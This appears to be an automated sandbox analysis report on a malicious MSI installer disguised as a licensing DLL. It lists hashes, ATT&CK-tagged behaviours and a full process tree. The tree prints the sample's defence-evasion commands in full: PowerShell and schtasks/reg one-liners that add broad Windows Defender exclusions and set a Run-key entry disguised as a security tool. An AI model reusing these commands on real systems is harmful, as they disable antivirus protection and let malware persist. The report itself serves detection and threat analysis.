8ed26dbeb6f8e76dd6718076d217c4fa4347542ed0d08b0b9380aefc415f3c32

Analysis

max time kernel
145s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 03:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_b6j010.msi
Size 5.4MB
Sample260804-d66j5scd86
SHA256 8ed26dbeb6f8e76dd6718076d217c4fa4347542ed0d08b0b9380aefc415f3c32
MD5 0aa9ea42f6e5b63ec1f769eeb1fcd67d
SHA1 d5af2d3e64d876a5cc2abf04aa918d194eaf8936
SHA512 a9ce046d1d5b3d2a41753c457f50c36de39176b7549077fa49a83ac05be9c520f0b698e4a73c93e92441c5b41a7ee85fea7ce09ca177bc429d5af45e81759e29
SSDEEP 98304:PK06r4V6fscocNT2vxvxqgw182B95xEh7am+eAtYP/fH/PscibhuOjg9H2GIK:P4r4V6fhT2vu9182B9wTbAtsff4htjgV
TLSH
T1384633C979C93B35D45BC7B142027AAEF66D7FC49EA28C0237ED321C6E329599432718
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1312	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5940	jsMk9G.exe

Loads dropped DLL 2 IoCs

pid	Process
6724	MsiExec.exe
5940	jsMk9G.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\5q9jFb\\jsMk9G.exe\""	jsMk9G.exe

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	6724	MsiExec.exe
15	6724	MsiExec.exe
16	6724	MsiExec.exe
17	6724	MsiExec.exe
18	6724	MsiExec.exe
19	6724	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3400	cmd.exe
2600	cmd.exe
6836	cmd.exe
4344	cmd.exe
4744	cmd.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	jsMk9G.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e599eb7.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCC135573879FBBB9.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA37A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA3F8.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA1A4E50144739444.TMP	msiexec.exe
File created	C:\Windows\Installer\e599eb9.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2D13908F63FFE416.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA606B992EDEAFA16.TMP	msiexec.exe
File created	C:\Windows\Installer\e599eb7.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1128	msiexec.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1764	cmd.exe
6592	cmd.exe
3360	cmd.exe
2748	cmd.exe
5048	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000392849c4232396370000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801392849c40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101392849c4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3392849c400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6392849c400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "install_b6j010.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "E7DABB4892FBA344EA9D945E1D0884AF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2248	schtasks.exe
4336	schtasks.exe
6500	schtasks.exe
1140	schtasks.exe
2872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5224	msiexec.exe
5224	msiexec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
6724	MsiExec.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe
5940	jsMk9G.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1128	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1128	msiexec.exe
Token: SeSecurityPrivilege	5224	msiexec.exe
Token: SeCreateTokenPrivilege	1128	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1128	msiexec.exe
Token: SeLockMemoryPrivilege	1128	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1128	msiexec.exe
Token: SeMachineAccountPrivilege	1128	msiexec.exe
Token: SeTcbPrivilege	1128	msiexec.exe
Token: SeSecurityPrivilege	1128	msiexec.exe
Token: SeTakeOwnershipPrivilege	1128	msiexec.exe
Token: SeLoadDriverPrivilege	1128	msiexec.exe
Token: SeSystemProfilePrivilege	1128	msiexec.exe
Token: SeSystemtimePrivilege	1128	msiexec.exe
Token: SeProfSingleProcessPrivilege	1128	msiexec.exe
Token: SeIncBasePriorityPrivilege	1128	msiexec.exe
Token: SeCreatePagefilePrivilege	1128	msiexec.exe
Token: SeCreatePermanentPrivilege	1128	msiexec.exe
Token: SeBackupPrivilege	1128	msiexec.exe
Token: SeRestorePrivilege	1128	msiexec.exe
Token: SeShutdownPrivilege	1128	msiexec.exe
Token: SeDebugPrivilege	1128	msiexec.exe
Token: SeAuditPrivilege	1128	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1128	msiexec.exe
Token: SeChangeNotifyPrivilege	1128	msiexec.exe
Token: SeRemoteShutdownPrivilege	1128	msiexec.exe
Token: SeUndockPrivilege	1128	msiexec.exe
Token: SeSyncAgentPrivilege	1128	msiexec.exe
Token: SeEnableDelegationPrivilege	1128	msiexec.exe
Token: SeManageVolumePrivilege	1128	msiexec.exe
Token: SeImpersonatePrivilege	1128	msiexec.exe
Token: SeCreateGlobalPrivilege	1128	msiexec.exe
Token: SeBackupPrivilege	5648	vssvc.exe
Token: SeRestorePrivilege	5648	vssvc.exe
Token: SeAuditPrivilege	5648	vssvc.exe
Token: SeBackupPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeBackupPrivilege	4100	srtasks.exe
Token: SeRestorePrivilege	4100	srtasks.exe
Token: SeSecurityPrivilege	4100	srtasks.exe
Token: SeTakeOwnershipPrivilege	4100	srtasks.exe
Token: SeBackupPrivilege	4100	srtasks.exe
Token: SeRestorePrivilege	4100	srtasks.exe
Token: SeSecurityPrivilege	4100	srtasks.exe
Token: SeTakeOwnershipPrivilege	4100	srtasks.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe
Token: SeTakeOwnershipPrivilege	5224	msiexec.exe
Token: SeRestorePrivilege	5224	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1128	msiexec.exe
1128	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1128	msiexec.exe
5224	msiexec.exe
6724	MsiExec.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5224 wrote to memory of 4100	5224	msiexec.exe	96
PID 5224 wrote to memory of 6724	5224	msiexec.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_b6j010.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1128

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5224
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4100
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 32D38D20B80F77AB272A191073C8BC67 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:6724

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5648

C:\Users\Public\5q9jFb\jsMk9G.exe
"C:\Users\Public\5q9jFb\jsMk9G.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5q9jFb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:2600
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\5q9jFb\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:6836
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6500
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5888
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4344
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5496
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2248
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1208
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3020

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5q9jFb" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3360
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\5q9jFb" /t REG_DWORD /d 0 /f
  2⤵
  PID:2768

C:\Windows\system32\cmd.exe
